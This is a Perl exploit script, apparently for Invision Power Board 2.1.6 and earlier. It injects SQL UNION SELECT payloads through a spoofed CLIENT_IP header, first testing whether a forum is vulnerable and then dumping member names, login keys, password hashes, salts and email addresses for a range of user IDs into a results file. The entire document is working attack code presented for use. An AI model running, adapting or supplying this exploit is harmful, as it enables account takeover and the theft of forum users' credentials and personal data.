#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;

getopts("p:i:P:f:t:");

$path   = $opt_p;
$from   = $opt_f; 
$to     = $opt_t;
$prefix = $opt_P || 'ibf_';

$|++;

if(!$path || !$from || !$to || ($from > $to)) { &usage; }
&head();
print "TEST FORUM ...";
if(get_info($prefix,$id,0) == 1) { print " FORUM VULNERABLE\n"; }
else { print " FORUM UNVULNERABLE\n"; exit(); }

open(RES,">result.txt");

for($i=$from;$i<$to;$i++) { get_info($prefix,$i,1); }

sub get_info($$$)
 {
 $xpl = LWP::UserAgent->new( ) or die;
 $rep = '';
if($_[2] == 1)
  {
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "$_[1])\nName: $rep\n"; print RES "$_[1])\nName: $rep\n"; }
  else { print ""; }
  $name = $rep;
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT member_login_key,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.{32})"/) { $rep = $3; }
  if(length($name)==32) { print ""; }
  else { print "Login Key: $rep\n"; print RES "Login Key: $rep\n"; }
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_hash,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($name)==32) { print ""; }
  else { print "Pass Hash: $rep\n"; print RES "Pass Hash: $rep\n"; }
    
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_salt,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "Pass Salt: $rep\n"; print RES "Pass Salt: $rep\n"; }
  else { print ""; } 
 
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT email,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "E-Mail: $rep\n\n"; print RES "E-Mail: $rep\n\n ****** \n\n"; }
  else { print ""; }
  }
 elsif($_[2] == 0)
  {
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if($rep eq 'VULN') { return 1; }
  else { return 0; }
  }
 }
 
sub usage()
 {
 &head();
 print "| Usage:                                     |\n"; 
 print "| <sploit>.pl -p [path] -f [u_id] -t [u_id]  |\n";
 print "| -p [path] ~ path to index.php              |\n";
 print "| -f [num]  ~ get data from this id          |\n";
 print "| -t [num]  ~ get data to this id            |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 exit();
 }

sub head()
 {
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";   
 print "|          IPB <= 2.1.6 Users Dumper         |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 print "|    Based on RST IPB <= 2.1.6 Mail Sploit   |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 print "|             Modified by Driver             |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 }